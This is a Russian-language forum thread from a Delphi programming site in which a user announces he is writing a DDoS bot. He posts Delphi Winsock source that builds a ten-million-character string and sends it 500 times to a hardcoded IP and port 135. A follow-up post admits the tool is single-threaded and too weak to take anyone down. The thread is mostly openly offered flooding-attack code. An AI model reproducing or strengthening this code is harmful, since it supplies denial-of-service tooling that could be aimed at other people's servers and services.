Четверг, 21.11.2024, 15:45 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Волк-1024  
Winsock DDoS\Flood
gravitasДата: Суббота, 01.01.2011, 19:48 | Сообщение # 1
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Пишу свой ддос бот. Вот представляю вам, так сказать, "сырье". Код генерирует переменную размером 100000нульнуль... символов, коннектится к айпишнику (в данном случае мой локальный - 10.10.34.17) к порту (в данном случае - 135) и посылает ее 500 раз. Фактически используется только 1 модуль - winsock. Модуль windows - только для оповещающих мессаг. Вобщем внимаем код:
Code
program Project1;

uses
   Winsock,
   Windows;

type
   TDynStringArray = array of string;

type
   TServer = class(TObject)
   Private
     hSocket:  TSocket;
     Addr:     TSockAddrIn;
     wsaData:  TWSAData;
   Public
     procedure Connect;
     procedure SendData(Data: String);
     function GetIPFromHost(const HostName: string): string;
end;

var
   Server:   TServer;
   Close:    Boolean;
   hPort: Integer;
   hHost: String;
   s:integer;
   textflood:string;

function TServer.GetIPFromHost(const HostName: string): string;
type
   TaPInAddr = array[0..10] of PInAddr;
   PaPInAddr = ^TaPInAddr;
var
   phe: PHostEnt;
   pptr: PaPInAddr;
   i: Integer;
begin
   Result := '';
   phe := GetHostByName(PChar(HostName));
   if phe = nil then Exit;
   pPtr := PaPInAddr(phe^.h_addr_list);
   i := 0;
   while pPtr^[i] <> nil do
   begin
     Result := inet_ntoa(pptr^[i]^);
     Inc(i);
   end;
end;

procedure TServer.SendData(Data: String);
var
   Len: LongInt;
begin
   Len := Length(Data);
   Send(hSocket, Data[1], Len, 0);
end;

procedure TServer.Connect;
var
   Buffer: Array[0..8192] Of Char;
   iRecv: Integer;
Begin
   if (WSAStartup($0202, wsaData) <> 0) then
   begin
     Exit;
   end;
   Close := False;

     hSocket := Socket(AF_INET, SOCK_STREAM, 0);
     Addr.sin_family   := AF_INET;
     Addr.sin_port     := htons(hPort);
     Addr.sin_addr.S_addr := INET_ADDR(PChar(GetIPFromHost(hHost)));
     if (Winsock.Connect(hSocket, Addr, SizeOf(Addr)) = 0) then
     begin
MessageBoxA(0, 'Connected!', 'Connected!', 0);
  end;
   for s:=1 to 10000000 do begin
   textflood:=textflood+'a';
   end;
     MessageBoxA(0, 'Textflood generate!', '!', 0);
   s:=1;
   for  s:=1 to 500 do begin
   SendData(textflood);
   end;

   MessageBoxA(0, 'DDoS off!', 'Vse!', 0);

       CloseSocket(hSocket);
   WSACleanup();
end;

begin
   Server := TServer.Create;
   textflood:='a';
   s:=1;
   hHost := '10.10.34.17';
   hPort := 135;
   Server.Connect;
end.


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
gravitasДата: Суббота, 01.01.2011, 19:52 | Сообщение # 2
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Ах да... Совсем забыл. Работает без потоков, так что даже не пытайтесь этим кого-нить "уничтожить" biggrin

TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz